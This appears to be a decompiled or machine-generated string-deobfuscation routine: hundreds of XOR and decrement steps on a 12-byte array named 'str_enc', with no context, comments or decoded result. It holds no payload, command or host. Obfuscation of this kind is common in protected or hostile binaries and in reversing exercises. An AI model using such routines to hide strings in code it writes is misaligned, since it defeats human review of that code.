str_enc[8] ^= 0x5B
str_enc[7] ^= 0xF
str_enc[6] ^= 0x78
str_enc[5] -= 1
str_enc[4] ^= 0x78
str_enc[3] ^= 0x71
str_enc[2] ^= 0x49
str_enc[1] ^= 0x55
str_enc[0] ^= 0x38
str_enc[11] ^= 0x3C
str_enc[10] ^= 0x4F
str_enc[9] -= 1
str_enc[8] -= 1
str_enc[7] ^= 0x18
str_enc[6] ^= 0x69
str_enc[5] ^= 0xE
str_enc[4] -= 1
str_enc[3] ^= 4
str_enc[2] -= 1
str_enc[1] ^= 0x5C
str_enc[0] ^= 0x24
str_enc[11] -= 1
str_enc[10] -= 1
str_enc[9] ^= 3
str_enc[8] ^= 0x6D
str_enc[7] ^= 0x75
str_enc[6] ^= 0x4F
str_enc[5] ^= str_enc[1]
str_enc[4] ^= str_enc[2]
str_enc[3] ^= 0x1C
str_enc[2] ^= 0x79
str_enc[1] ^= 0x35
str_enc[0] ^= 0x63
str_enc[11] ^= 0x16
str_enc[10] -= 1
str_enc[9] ^= 0x29
str_enc[8] ^= 9
str_enc[7] -= 1
str_enc[6] ^= 0x6C
str_enc[5] ^= 0x1C
str_enc[4] ^= 3
str_enc[3] -= 1
str_enc[2] ^= 0x65
str_enc[1] ^= 0x6D
str_enc[0] ^= 0x76
str_enc[11] ^= 0x61
str_enc[10] ^= 0x71
str_enc[9] -= 1
str_enc[8] ^= 0x1C
str_enc[7] ^= 0x25
str_enc[6] ^= 0x37
str_enc[5] ^= 0x31
str_enc[4] ^= 8
str_enc[3] ^= 0x59
str_enc[2] ^= 0x56
str_enc[1] ^= str_enc[0]
str_enc[0] ^= 0x78
str_enc[11] ^= 0x61
str_enc[10] ^= 0x7A
str_enc[9] ^= 0x5B
str_enc[8] ^= 0x51
str_enc[7] ^= str_enc[3]
str_enc[6] ^= 0x10
str_enc[5] ^= 0x40
str_enc[4] ^= 0x10
str_enc[3] ^= 0x51
str_enc[2] ^= 0x12
str_enc[1] -= 1
str_enc[0] ^= 0x64
str_enc[11] ^= 0x28
str_enc[10] ^= 0x7B
str_enc[9] ^= 0x7B
str_enc[8] ^= 0xB
str_enc[7] ^= 0x64
str_enc[6] ^= str_enc[4]
str_enc[5] ^= 0x6A
str_enc[4] ^= 0xD
str_enc[3] ^= 0x2D
str_enc[2] ^= 0x1F
str_enc[1] ^= 0x5F
str_enc[0] ^= 0x1C
str_enc[11] -= 1
str_enc[10] ^= 5
str_enc[9] ^= 0x16
str_enc[8] ^= 0x7B
str_enc[7] ^= 6
str_enc[6] ^= str_enc[2]
str_enc[5] ^= 0x38
str_enc[4] ^= str_enc[0]
str_enc[3] ^= 0x5B
str_enc[2] ^= 0x7B
str_enc[1] ^= 0x55
str_enc[0] ^= 0x1B
str_enc[11] ^= 0xE
str_enc[10] -= 1
str_enc[9] ^= 0x45
str_enc[8] ^= 0x79
str_enc[7] -= 1
str_enc[6] ^= 0x74
str_enc[5] ^= str_enc[1]
str_enc[4] ^= 0x58
str_enc[3] -= 1
str_enc[2] ^= 6
str_enc[1] ^= 0x67
str_enc[0] ^= 0x1B
str_enc[11] ^= 6
str_enc[10] ^= 0x68
str_enc[9] ^= 0x36
str_enc[8] ^= 0x5C
str_enc[7] ^= 0x20
str_enc[6] -= 1
str_enc[5] ^= 0x12
str_enc[4] ^= 0x5C
str_enc[3] ^= 0xA
str_enc[2] ^= 0x6D
str_enc[1] ^= 0x1C
str_enc[0] ^= 0xB
str_enc[11] ^= 0x1D
str_enc[10] ^= 0x6E
str_enc[9] ^= 0x5D
str_enc[8] ^= 0x33
str_enc[7] ^= 0xC
str_enc[6] ^= 0x21
str_enc[5] -= 1
str_enc[4] ^= 0x4C
str_enc[3] -= 1
str_enc[2] -= 1
str_enc[1] -= 1
str_enc[0] ^= 0x20
str_enc[11] ^= 0x4C
str_enc[10] ^= 0xC
str_enc[9] -= 1
str_enc[8] ^= 0x2A
str_enc[7] -= 1
str_enc[6] ^= 0x22
str_enc[5] ^= 0x40
str_enc[4] -= 1
str_enc[3] ^= 0x59
str_enc[2] ^= 0x64
str_enc[1] ^= 0x79
str_enc[0] ^= 0x37
str_enc[11] -= 1
str_enc[10] ^= 0x38
str_enc[9] ^= 0x49
str_enc[8] -= 1
str_enc[7] ^= 0x36
str_enc[6] ^= 0xC
str_enc[5] ^= 0x7C
str_enc[4] ^= 0x35
str_enc[3] -= 1
str_enc[2] ^= 0x47
str_enc[1] ^= 0x11
str_enc[0] ^= 0x7B
str_enc[11] ^= 0xA
str_enc[10] ^= 0x67
str_enc[9] ^= 0x26
str_enc[8] ^= 0x2E
str_enc[7] ^= 0x4B
str_enc[6] -= 1
str_enc[5] ^= 0xC
str_enc[4] ^= 0x70
str_enc[3] ^= 0x1A
str_enc[2] ^= 0x78
str_enc[1] ^= 0x13
str_enc[0] ^= 0x4F
str_enc[11] ^= str_enc[9]
str_enc[10] ^= 0x78
str_enc[9] ^= 0x54
str_enc[8] ^= 0x50
str_enc[7] ^= str_enc[0]
str_enc[6] ^= 0x23
str_enc[5] ^= 0xF
str_enc[4] ^= str_enc[2]
str_enc[3] ^= 0x53
str_enc[2] ^= str_enc[1]
str_enc[1] ^= 0x11
str_enc[0] ^= 0x7E
str_enc[11] ^= 0x62
str_enc[10] ^= 0x36
str_enc[9] -= 1
str_enc[8] ^= 0x64
str_enc[7] ^= 0x73
str_enc[6] -= 1
str_enc[5] ^= 0x3C
str_enc[4] -= 1
str_enc[3] -= 1
str_enc[2] ^= 0x61
str_enc[1] ^= str_enc[0]
str_enc[0] ^= 0x52
str_enc[11] ^= 0x41
str_enc[10] ^= 0x3F
str_enc[9] ^= 0x69
str_enc[8] ^= 0x6C
str_enc[7] ^= 0x75
str_enc[6] ^= 0x23
str_enc[5] -= 1
str_enc[4] ^= 0x6E
str_enc[3] -= 1
str_enc[2] ^= 0x2B
str_enc[1] ^= 0x47
str_enc[0] -= 1
str_enc[11] ^= 0x4B
str_enc[10] ^= 0x21
str_enc[9] -= 1
str_enc[8] ^= 0x7C
str_enc[7] ^= 0x1F
str_enc[6] ^= 0x6E
str_enc[5] ^= 0x74
str_enc[4] -= 1
str_enc[3] ^= 0x3F
str_enc[2] ^= 0x3F
str_enc[1] -= 1
str_enc[0] ^= 0x45
str_enc[11] ^= 0x58
str_enc[10] -= 1
str_enc[9] ^= 0x38
str_enc[8] ^= 0x4F
str_enc[7] -= 1
str_enc[6] ^= 0x49
str_enc[5] ^= 0x33
str_enc[4] ^= str_enc[0]
str_enc[3] ^= 0x65
str_enc[2] -= 1
str_enc[1] ^= 0x68
str_enc[0] ^= 0x6D
str_enc[11] ^= 0x48
str_enc[10] -= 1
str_enc[9] ^= 0x79
str_enc[8] ^= str_enc[4]
str_enc[7] ^= 0x7D
str_enc[6] ^= 2
str_enc[5] ^= 0x4D
str_enc[4] ^= 0x41
str_enc[3] ^= 0x11
str_enc[2] -= 1
str_enc[1] ^= 0x3E
str_enc[0] ^= 0x2C
str_enc[11] ^= 0x4A
str_enc[10] ^= 0x75
str_enc[9] ^= 0x4F
str_enc[8] ^= 0x4F
str_enc[7] ^= 0x52
str_enc[6] ^= str_enc[4]
str_enc[5] ^= str_enc[2]
str_enc[4] ^= 0x30
str_enc[3] -= 1
str_enc[2] ^= 0x4B
str_enc[1] ^= 0x68
str_enc[0] -= 1
str_enc[11] ^= 0x3F
str_enc[10] ^= 0x66
str_enc[9] ^= 0x74
str_enc[8] ^= 0x19
str_enc[7] -= 1
str_enc[6] ^= 0x77
str_enc[5] -= 1
str_enc[4] ^= 0x59
str_enc[3] ^= str_enc[0]
str_enc[2] ^= 0x45
str_enc[1] ^= 0x4D
str_enc[0] ^= 0x7D
str_enc[11] ^= 0x16
str_enc[10] ^= 0x42
str_enc[9] ^= str_enc[1]
str_enc[8] ^= 0x56
str_enc[7] ^= 0x16
str_enc[6] ^= 0xB
str_enc[5] ^= 0xF
str_enc[4] ^= str_enc[2]
str_enc[3] ^= 0x4A
str_enc[2] -= 1
str_enc[1] ^= 0x48
str_enc[0] ^= 0x7D
str_enc[11] ^= 0x79
str_enc[10] -= 1
str_enc[9] ^= 0x22
str_enc[8] ^= 0x5E
str_enc[7] ^= 0x3E
str_enc[6] ^= 0x6C
str_enc[5] ^= 0x6F
str_enc[4] -= 1
str_enc[3] ^= 0x24
str_enc[2] ^= 0x75
str_enc[1] ^= str_enc[0]
str_enc[0] ^= 0x3C
str_enc[11] ^= 4
str_enc[10] ^= 0x7B
str_enc[9] ^= 0x62
str_enc[8] ^= 0x40
str_enc[7] ^= 0x14
str_enc[6] ^= 0x4D
str_enc[5] -= 1
str_enc[4] -= 1
str_enc[3] ^= 0x6F
str_enc[2] ^= 0x4A
str_enc[1] ^= 0x38
str_enc[0] ^= 0x35
str_enc[11] -= 1
str_enc[10] -= 1
str_enc[9] -= 1
str_enc[8] ^= 0x4E
str_enc[7] ^= 0x48
str_enc[6] ^= 0x55
str_enc[5] ^= 0x7B
str_enc[4] ^= str_enc[1]
str_enc[3] ^= 0x1E
str_enc[2] ^= 0x43
str_enc[1] -= 1
str_enc[0] ^= 0x47
str_enc[11] ^= 6
str_enc[10] -= 1
str_enc[9] ^= 0x52
str_enc[8] ^= 0x23
str_enc[7] ^= str_enc[5]
str_enc[6] ^= 0x78
str_enc[5] ^= 0x42
str_enc[4] ^= 0x13
str_enc[3] ^= 0x56
str_enc[2] ^= 0x28
str_enc[1] -= 1
str_enc[0] -= 1
str_enc[11] ^= 0x7F
str_enc[10] -= 1
str_enc[9] -= 1
str_enc[8] ^= 4
str_enc[7] ^= 0x7F
str_enc[6] ^= 0x2D
str_enc[5] -= 1
str_enc[4] -= 1
str_enc[3] ^= 8
str_enc[2] ^= str_enc[0]
str_enc[1] ^= 0x4E
str_enc[0] ^= 0x3A
str_enc[11] ^= 0x47
str_enc[10] ^= str_enc[9]
str_enc[9] ^= str_enc[5]
str_enc[8] ^= 0x4B
str_enc[7] ^= 0x40
str_enc[6] -= 1
str_enc[5] ^= 0x2A
str_enc[4] ^= 0x2D
str_enc[3] -= 1
str_enc[2] -= 1
str_enc[1] ^= 5
str_enc[0] ^= 0x2A
str_enc[11] ^= 0x15
str_enc[10] ^= 0x75
str_enc[9] ^= str_enc[8]
str_enc[8] ^= 0x40
str_enc[7] ^= 0x65
str_enc[6] ^= 0x28
str_enc[5] ^= 0x1F
str_enc[4] ^= str_enc[1]
str_enc[3] ^= 0x3A
str_enc[2] ^= 0x3E
str_enc[1] ^= str_enc[0]
str_enc[0] ^= 0x7F
str_enc[11] ^= str_enc[3]
str_enc[10] ^= 0x3A
str_enc[9] ^= 0x71
str_enc[8] ^= 0x27
str_enc[7] ^= 0x58
str_enc[6] ^= 0x61
str_enc[5] ^= 0x57
str_enc[4] ^= 0xD
str_enc[3] ^= str_enc[0]
str_enc[2] ^= 0x59
str_enc[1] -= 1
str_enc[0] ^= 0xE
str_enc[11] ^= 0x6B
str_enc[10] ^= 0x5E
str_enc[9] ^= 0x45
str_enc[8] -= 1
str_enc[7] ^= 0x4C
str_enc[6] ^= 0x31
str_enc[5] ^= 0x6C
str_enc[4] ^= str_enc[2]
str_enc[3] ^= str_enc[2]
str_enc[2] ^= 0x7D
str_enc[1] ^= 0x7C
str_enc[0] ^= 0x16
str_enc[11] ^= 0x15
str_enc[10] ^= 0x57
str_enc[9] ^= 0x55
str_enc[8] ^= str_enc[0]
str_enc[7] ^= 9
str_enc[6] ^= 0x6A
str_enc[5] ^= str_enc[2]
str_enc[4] ^= 0x5C
str_enc[3] -= 1
str_enc[2] ^= 0x58
str_enc[1] ^= str_enc[0]
str_enc[0] ^= 2
str_enc[11] ^= 0x20
str_enc[10] ^= 0x7C
str_enc[9] -= 1
str_enc[8] ^= 0x24
str_enc[7] ^= str_enc[2]
str_enc[6] ^= str_enc[3]
str_enc[5] ^= str_enc[3]
str_enc[4] ^= 0x76
str_enc[3] ^= str_enc[0]
str_enc[2] ^= str_enc[0]
str_enc[1] ^= 0x4C
str_enc[0] ^= 6
str_enc[11] ^= str_enc[2]
str_enc[10] ^= 0x6E
str_enc[9] ^= str_enc[5]
str_enc[8] ^= 0x47
str_enc[7] ^= 2
str_enc[6] -= 1
str_enc[5] -= 1
str_enc[4] ^= 7
str_enc[3] ^= 0x54
str_enc[2] ^= str_enc[1]
str_enc[1] ^= 0x2D
str_enc[0] ^= 2
str_enc[11] -= 1
str_enc[10] ^= 0x1B
str_enc[9] ^= str_enc[2]
str_enc[8] ^= 0xC
str_enc[7] ^= 0x66
str_enc[6] ^= 0x53
str_enc[5] ^= 0x78
str_enc[4] ^= 0x35
str_enc[3] ^= 0x2E
str_enc[2] ^= 4
str_enc[1] ^= 0x70
str_enc[0] ^= 0x4D
str_enc[11] ^= 0x68
str_enc[10] ^= 0x78
str_enc[9] ^= 0x49
str_enc[8] ^= 0x53
str_enc[7] ^= str_enc[1]
str_enc[6] ^= 0x11
str_enc[5] ^= 0x25
str_enc[4] ^= 0x23
str_enc[3] ^= 0x7D
str_enc[2] ^= str_enc[0]
str_enc[1] ^= 0x74
str_enc[0] ^= 0x59
str_enc[11] ^= 0x20
str_enc[10] ^= str_enc[2]
str_enc[9] ^= 0x57
str_enc[8] ^= str_enc[7]
str_enc[7] ^= 0x47
str_enc[6] ^= 0x64
str_enc[5] ^= 0x14
str_enc[4] ^= 0x40
str_enc[3] ^= str_enc[2]
str_enc[2] ^= str_enc[0]
str_enc[1] ^= str_enc[0]
str_enc[0] ^= 0xF
str_enc[11] ^= 0x31
str_enc[10] ^= 0x2F
str_enc[9] ^= 0x5D
str_enc[8] -= 1
str_enc[7] ^= 6
str_enc[6] ^= 0x1C
str_enc[5] ^= 0x16
str_enc[4] ^= 0x32
str_enc[3] -= 1
str_enc[2] ^= 3
str_enc[1] ^= 7
str_enc[0] ^= 0x2E
str_enc[11] ^= 0x74
str_enc[10] ^= 0x44
str_enc[9] ^= str_enc[1]
str_enc[8] ^= str_enc[4]
str_enc[7] ^= 0x53
str_enc[6] ^= 0x7F
str_enc[5] ^= 0x20
str_enc[4] ^= 0x27
str_enc[3] ^= str_enc[2]
str_enc[2] ^= str_enc[1]
str_enc[1] ^= str_enc[0]
str_enc[0] ^= 0x2D
str_enc[11] ^= str_enc[4]
str_enc[10] ^= str_enc[0]
str_enc[9] ^= 0x3D
str_enc[8] ^= str_enc[1]
str_enc[7] ^= 0x3A
str_enc[6] -= 1
str_enc[5] ^= 0x32
str_enc[4] ^= 0x11
str_enc[3] ^= str_enc[0]
str_enc[2] ^= 0x5F
str_enc[1] ^= 0x13
str_enc[0] ^= 0x29
str_enc[11] -= 1
str_enc[10] ^= 0x5A
str_enc[9] ^= str_enc[4]
str_enc[8] ^= 0x23
str_enc[7] -= 1
str_enc[6] ^= 5
str_enc[5] ^= 0x7C
str_enc[4] ^= 0x6D
str_enc[3] ^= str_enc[0]
str_enc[2] ^= str_enc[1]
str_enc[1] ^= str_enc[0]
str_enc[0] ^= 0x6D
str_enc[11] ^= 9
str_enc[10] -= 1
str_enc[9] ^= 0x17
str_enc[8] ^= 0x32
str_enc[7] ^= str_enc[0]
str_enc[6] ^= 0x69
str_enc[5] ^= 0x59
str_enc[4] ^= 0x39
str_enc[3] ^= str_enc[2]
str_enc[2] ^= str_enc[1]
str_enc[1] ^= 2
str_enc[0] ^= 0x32
str_enc[11] ^= str_enc[0]
str_enc[10] ^= 0x7E
str_enc[9] -= 1
str_enc[8] ^= 0x10
str_enc[7] ^= 0x23
str_enc[6] ^= str_enc[2]
str_enc[5] ^= 0x5F
str_enc[4] -= 1
str_enc[3] ^= 0x24
str_enc[2] ^= 0x2D
str_enc[1] -= 1
str_enc[0] ^= 0x15
str_enc[11] -= 1
str_enc[10] ^= 0x61
str_enc[9] ^= str_enc[7]
str_enc[8] ^= 0x5D
str_enc[7] -= 1
str_enc[6] ^= 0x30
str_enc[5] -= 1
str_enc[4] ^= 6
str_enc[3] ^= 0x28
str_enc[2] ^= 0x6E
str_enc[1] ^= 0x68
str_enc[0] ^= 0x1D
str_enc[11] -= 1
str_enc[10] -= 1
str_enc[9] ^= 0x27
str_enc[8] ^= 0x4A
str_enc[7] ^= str_enc[6]
str_enc[6] ^= 0x66
str_enc[5] ^= 0x71
str_enc[4] -= 1
str_enc[3] ^= 0x65
str_enc[2] ^= 0x39
str_enc[1] ^= 0x11
str_enc[0] -= 1
str_enc[11] ^= 0xA
str_enc[10] ^= 0x4A
str_enc[9] ^= 0x15
str_enc[8] ^= 0xF
str_enc[7] ^= 0x28
str_enc[6] ^= str_enc[4]
str_enc[5] ^= 0x50
str_enc[4] ^= 0x5B
str_enc[3] ^= 0xF
str_enc[2] ^= str_enc[0]
str_enc[1] ^= 0x5A
str_enc[0] ^= 0x7C
str_enc[11] ^= str_enc[0]
str_enc[10] ^= 0x11
str_enc[9] ^= 0x6A
str_enc[8] ^= 0x7E
str_enc[7] -= 1
str_enc[6] ^= 0x7D
str_enc[5] -= 1
str_enc[4] ^= 0x7C
str_enc[3] -= 1
str_enc[2] ^= 0x72
str_enc[1] ^= 0x69
str_enc[0] ^= 0x1A
str_enc[11] -= 1
str_enc[10] ^= 0x7D
str_enc[9] ^= 0x4B
str_enc[8] ^= str_enc[3]
str_enc[7] ^= 0x55
str_enc[6] ^= 0x4D
str_enc[5] ^= 0x34
str_enc[4] ^= 0x39
str_enc[3] ^= 0x4C
str_enc[2] ^= 0x7C
str_enc[1] ^= str_enc[0]
str_enc[0] ^= 0x24
str_enc[11] ^= 0x5E
str_enc[10] ^= 0x28
str_enc[9] -= 1
str_enc[8] ^= 0xC
str_enc[7] -= 1
str_enc[6] ^= 0x6B
str_enc[5] ^= 0x37
str_enc[4] -= 1
str_enc[3] ^= 0x19
str_enc[2] ^= str_enc[1]
str_enc[1] ^= 9
str_enc[0] ^= 0x21
str_enc[11] ^= str_enc[2]
str_enc[10] ^= 0x11
str_enc[9] ^= str_enc[0]
str_enc[8] ^= str_enc[6]
str_enc[7] ^= str_enc[4]
str_enc[6] ^= 0x41
str_enc[5] ^= 0x37
str_enc[4] -= 1
str_enc[3] -= 1
str_enc[2] ^= 0x3B
str_enc[1] -= 1
str_enc[0] -= 1
str_enc[11] ^= 0x51
str_enc[10] ^= 0x1D
str_enc[9] ^= 0x4B
str_enc[8] ^= str_enc[1]
str_enc[7] ^= 0x10
str_enc[6] ^= 0x74
str_enc[5] ^= 5
str_enc[4] ^= 0x6A
str_enc[3] ^= 0x1C
str_enc[2] -= 1
str_enc[1] -= 1
str_enc[0] ^= 0x46
str_enc[11] -= 1
str_enc[10] ^= 0x6E
str_enc[9] ^= 0x61
str_enc[8] ^= str_enc[4]
str_enc[7] ^= str_enc[6]
str_enc[6] ^= 0x59
str_enc[5] ^= str_enc[2]
str_enc[4] ^= str_enc[2]
str_enc[3] ^= 9
str_enc[2] ^= str_enc[1]
str_enc[1] ^= 0x54
str_enc[0] ^= 0x3F
str_enc[11] -= 1
str_enc[10] -= 1
str_enc[9] ^= 0x79
str_enc[8] ^= 0x61
str_enc[7] ^= 0x44
str_enc[6] ^= 0x65
str_enc[5] ^= 0x7F
str_enc[4] ^= str_enc[2]
str_enc[3] ^= 0x61
str_enc[2] ^= 0x19
str_enc[1] ^= 0xE
str_enc[0] ^= 0x3D
str_enc[11] ^= 6
str_enc[10] ^= 6
str_enc[9] ^= 0x70
str_enc[8] ^= 0x54
str_enc[7] -= 1
str_enc[6] ^= 0x25
str_enc[5] ^= str_enc[1]
str_enc[4] ^= 0xB
str_enc[3] ^= 0xF
str_enc[2] ^= 0xA
str_enc[1] -= 1
str_enc[0] -= 1
str_enc[11] -= 1
str_enc[10] ^= 0x3E
str_enc[9] -= 1
str_enc[8] ^= 0x38
str_enc[7] ^= str_enc[2]
str_enc[6] ^= 0x44
str_enc[5] ^= 0x7B
str_enc[4] ^= 0x1B
str_enc[3] ^= 0x3A
str_enc[2] ^= 0x1D
str_enc[1] ^= 0x1E
str_enc[0] ^= 0x2C
str_enc[11] -= 1
str_enc[10] ^= 0x7F
str_enc[9] -= 1
str_enc[8] ^= 0x3D
str_enc[7] ^= 0x26
str_enc[6] ^= str_enc[1]
str_enc[5] ^= 0x1B
str_enc[4] ^= 0x3B
str_enc[3] -= 1
str_enc[2] ^= 7
str_enc[1] ^= 6
str_enc[0] -= 1
str_enc[11] ^= 0x7C
str_enc[10] ^= 0x2D
str_enc[9] ^= 0x3C
str_enc[8] ^= 0x60
str_enc[7] ^= 0x58
str_enc[6] ^= 0x21
str_enc[5] ^= 0x5D
str_enc[4] ^= 0x1E
str_enc[3] ^= 0x75
str_enc[2] ^= 9
str_enc[1] ^= 0x47
str_enc[0] ^= 0x37
str_enc[11] ^= 0x54
str_enc[10] ^= 0x2A
str_enc[9] ^= 0x75
str_enc[8] -= 1
str_enc[7] ^= 0x25
str_enc[6] ^= 0x24
str_enc[5] ^= 0xC
str_enc[4] ^= 0x54
str_enc[3] ^= str_enc[2]
str_enc[2] ^= 0x2F
str_enc[1] ^= 0x1E
str_enc[0] -= 1
str_enc[11] ^= 0x29
str_enc[10] ^= 0x26
str_enc[9] -= 1
str_enc[8] ^= 0x2D
str_enc[7] ^= str_enc[0]
str_enc[6] ^= 0x7D
str_enc[5] ^= str_enc[4]
str_enc[4] ^= 0x4F
str_enc[3] ^= 0x4C
str_enc[2] ^= 0x60
str_enc[1] ^= 0x77
str_enc[0] ^= 0x1E
str_enc[11] -= 1
str_enc[10] -= 1
str_enc[9] ^= 0x3B
str_enc[8] ^= 0x22
str_enc[7] -= 1
str_enc[6] ^= 0x5F
str_enc[5] ^= 0x55
str_enc[4] ^= 3
str_enc[3] ^= str_enc[2]
str_enc[2] ^= 0x61
str_enc[1] ^= str_enc[0]
str_enc[0] ^= 0x35
str_enc[11] ^= 5
str_enc[10] ^= 0x57
str_enc[9] ^= 0x54
str_enc[8] -= 1
str_enc[7] ^= 0x4A
str_enc[6] ^= 0x41
str_enc[5] ^= 0x52
str_enc[4] ^= 0x2F
str_enc[3] ^= 0x2D
str_enc[2] ^= str_enc[1]
str_enc[1] ^= 0x4F
str_enc[0] ^= 6
str_enc[11] ^= str_enc[7]
str_enc[10] ^= 0x29
str_enc[9] ^= 0x1E
str_enc[8] ^= 0x7E
str_enc[7] ^= 0x3B
str_enc[6] ^= str_enc[5]
str_enc[5] ^= str_enc[2]
str_enc[4] ^= 0x30
str_enc[3] ^= 0x1B
str_enc[2] ^= 0x6E
str_enc[1] ^= str_enc[0]
str_enc[0] ^= 0x54
str_enc[11] ^= 0x7D
str_enc[10] ^= str_enc[6]
str_enc[9] ^= 0x36
str_enc[8] ^= str_enc[7]
str_enc[7] ^= 0x15
str_enc[6] ^= str_enc[2]
str_enc[5] ^= str_enc[3]
str_enc[4] ^= str_enc[3]
str_enc[3] ^= 0x10
str_enc[2] -= 1
str_enc[1] -= 1
str_enc[0] ^= 0xF
str_enc[11] ^= 0x20
str_enc[10] ^= str_enc[9]
str_enc[9] ^= 0x5E
str_enc[8] ^= str_enc[4]
str_enc[7] ^= 0x5D
str_enc[6] -= 1
str_enc[5] ^= 0x75
str_enc[4] ^= 0x40
str_enc[3] ^= 0x23
str_enc[2] ^= 0x6F
str_enc[1] -= 1
str_enc[0] ^= 0x39
str_enc[11] ^= 0x52
str_enc[10] ^= 0x23
str_enc[9] ^= 0x6C
str_enc[8] ^= 0x20
str_enc[7] ^= 0x33
str_enc[6] ^= 0x79
str_enc[5] ^= 0x5C
str_enc[4] ^= str_enc[2]
str_enc[3] ^= 0x73
str_enc[2] ^= 0x35
str_enc[1] ^= 0x69
str_enc[0] ^= 0x5E
str_enc[11] ^= 0x2B
str_enc[10] ^= str_enc[1]
str_enc[9] ^= 0x5C
str_enc[8] ^= 0xF
str_enc[7] -= 1
str_enc[6] ^= 0x5E
str_enc[5] ^= 0x60
str_enc[4] -= 1
str_enc[3] ^= 0x64
str_enc[2] -= 1
str_enc[1] ^= 0x73
str_enc[0] ^= 0x5D
str_enc[11] ^= 0x25
str_enc[10] ^= str_enc[4]
str_enc[9] ^= 0x6F
str_enc[8] ^= str_enc[5]
str_enc[7] ^= 0x66
str_enc[6] ^= 0x2F
str_enc[5] ^= str_enc[0]
str_enc[4] ^= str_enc[3]
str_enc[3] ^= 0x6D
str_enc[2] ^= str_enc[1]
str_enc[1] ^= 0x29
str_enc[0] ^= 0x58
str_enc[11] ^= 0x55
str_enc[10] ^= 0x5D
str_enc[9] -= 1
str_enc[8] ^= 1
str_enc[7] ^= 0x73
str_enc[6] ^= 0x59
str_enc[5] -= 1
str_enc[4] ^= 0x7E
str_enc[3] ^= 0x6E
str_enc[2] ^= 0x66
str_enc[1] -= 1
str_enc[0] ^= 0x1B
str_enc[11] ^= 0x7D
str_enc[10] ^= 0x3B
str_enc[9] ^= 0x2D
str_enc[8] ^= 0x3D
str_enc[7] -= 1
str_enc[6] ^= 0x67
str_enc[5] ^= 0x40
str_enc[4] ^= 0x7A
str_enc[3] ^= 0x33
str_enc[2] -= 1
str_enc[1] ^= 0x40
str_enc[0] ^= 0x54
str_enc[11] ^= str_enc[9]
str_enc[10] ^= str_enc[8]
str_enc[9] ^= 0x26
str_enc[8] -= 1
str_enc[7] ^= 0x3E
str_enc[6] ^= 0x2E
str_enc[5] ^= 0x4F
str_enc[4] ^= 2
str_enc[3] -= 1
str_enc[2] ^= 0x48
str_enc[1] ^= str_enc[0]
str_enc[0] ^= 0x17
str_enc[11] ^= str_enc[1]
str_enc[10] ^= 0x16
str_enc[9] ^= str_enc[7]
str_enc[8] ^= str_enc[3]
str_enc[7] ^= 0x3D
str_enc[6] ^= 0x33
str_enc[5] -= 1
str_enc[4] ^= 0x57
str_enc[3] ^= str_enc[0]
str_enc[2] ^= 0x32
str_enc[1] ^= 0x58
str_enc[0] ^= 0x63
str_enc[11] ^= 0x23
str_enc[10] ^= 0x47
str_enc[9] ^= 0x5D
str_enc[8] ^= 0x4C
str_enc[7] -= 1
str_enc[6] ^= 0x4C
str_enc[5] -= 1
str_enc[4] -= 1
str_enc[3] -= 1
str_enc[2] ^= 0x3B
str_enc[1] ^= 0x2A
str_enc[0] ^= 0xE
str_enc[11] ^= 0x1B
str_enc[10] ^= 0x6A
str_enc[9] ^= str_enc[1]
str_enc[8] ^= 9
str_enc[7] ^= 0x71
str_enc[6] -= 1
str_enc[5] -= 1
str_enc[4] ^= 0x2F
str_enc[3] ^= str_enc[0]
str_enc[2] ^= 0x71
str_enc[1] ^= str_enc[0]
str_enc[0] ^= 0x5C
str_enc[11] ^= 0x67
str_enc[10] ^= str_enc[4]
str_enc[9] ^= 0x4C
str_enc[8] ^= 0x78
str_enc[7] ^= str_enc[0]
str_enc[6] ^= 0x59
str_enc[5] -= 1
str_enc[4] -= 1
str_enc[3] ^= 0x7B
str_enc[2] ^= 5
str_enc[1] ^= str_enc[0]
str_enc[0] ^= 8
str_enc[11] ^= 0x72
str_enc[10] ^= 0x11
str_enc[9] ^= str_enc[1]
str_enc[8] ^= str_enc[1]
str_enc[7] ^= 0x2A
str_enc[6] -= 1
str_enc[5] ^= 0x7A
str_enc[4] ^= 0x21
str_enc[3] ^= str_enc[1]
str_enc[2] ^= 0x40
str_enc[1] ^= 0x46
str_enc[0] -= 1
str_enc[11] ^= 0x25
str_enc[10] ^= str_enc[0]
str_enc[9] ^= 0x1E
str_enc[8] -= 1
str_enc[7] ^= 0x4D
str_enc[6] ^= 0x59
str_enc[5] ^= str_enc[3]
str_enc[4] ^= 0x3A
str_enc[3] ^= 0x2B
str_enc[2] ^= 0x26
str_enc[1] -= 1
str_enc[0] ^= 0x49
str_enc[11] -= 1
str_enc[10] ^= 0x5E
str_enc[9] -= 1
str_enc[8] -= 1
str_enc[7] ^= 0x75
str_enc[6] -= 1
str_enc[5] ^= 0x16
str_enc[4] ^= str_enc[2]
str_enc[3] ^= 0x5A
str_enc[2] ^= str_enc[0]
str_enc[1] ^= 5
str_enc[0] ^= 0x42
str_enc[11] ^= str_enc[9]
str_enc[10] ^= 0x62
str_enc[9] ^= 0x71
str_enc[8] ^= str_enc[1]
str_enc[7] ^= 0x5A
str_enc[6] -= 1
str_enc[5] ^= 8
str_enc[4] ^= 0x32
str_enc[3] ^= 0x74
str_enc[2] ^= 2
str_enc[1] -= 1
str_enc[0] ^= 0x14
str_enc[11] ^= 0x15
str_enc[10] ^= 0x27
str_enc[9] ^= 0x1C
str_enc[8] ^= 0x78
str_enc[7] ^= 0x2B
str_enc[6] ^= 6
str_enc[5] ^= 0x66
str_enc[4] ^= str_enc[0]
str_enc[3] ^= 0x3B
str_enc[2] ^= 0x42
str_enc[1] -= 1
str_enc[0] ^= 0xF
str_enc[11] ^= 0x2F
str_enc[10] ^= 0x34
str_enc[9] ^= 0x6C
str_enc[8] ^= str_enc[7]
str_enc[7] ^= 0x10
str_enc[6] ^= 0x7C
str_enc[5] ^= str_enc[1]
str_enc[4] ^= str_enc[0]
str_enc[3] ^= 0x58
str_enc[2] ^= str_enc[0]
str_enc[1] ^= 0x3A
str_enc[0] ^= 0x5F
str_enc[11] ^= 0x6F
str_enc[10] ^= 0x6D
str_enc[9] ^= 0x64
str_enc[8] -= 1
str_enc[7] ^= 0x12
str_enc[6] ^= 0x53
str_enc[5] ^= 0x1E
str_enc[4] ^= 0x3A
str_enc[3] ^= 0x7C
str_enc[2] ^= 0x66
str_enc[1] ^= 0x32
str_enc[0] ^= 0x6E
str_enc[11] ^= 0x1B
str_enc[10] ^= str_enc[8]
str_enc[9] ^= 0x35
str_enc[8] ^= 8
str_enc[7] ^= str_enc[4]
str_enc[6] ^= 0xE
str_enc[5] ^= 0x60
str_enc[4] ^= 0x1E
str_enc[3] ^= 0x4B
str_enc[2] ^= 0x4A
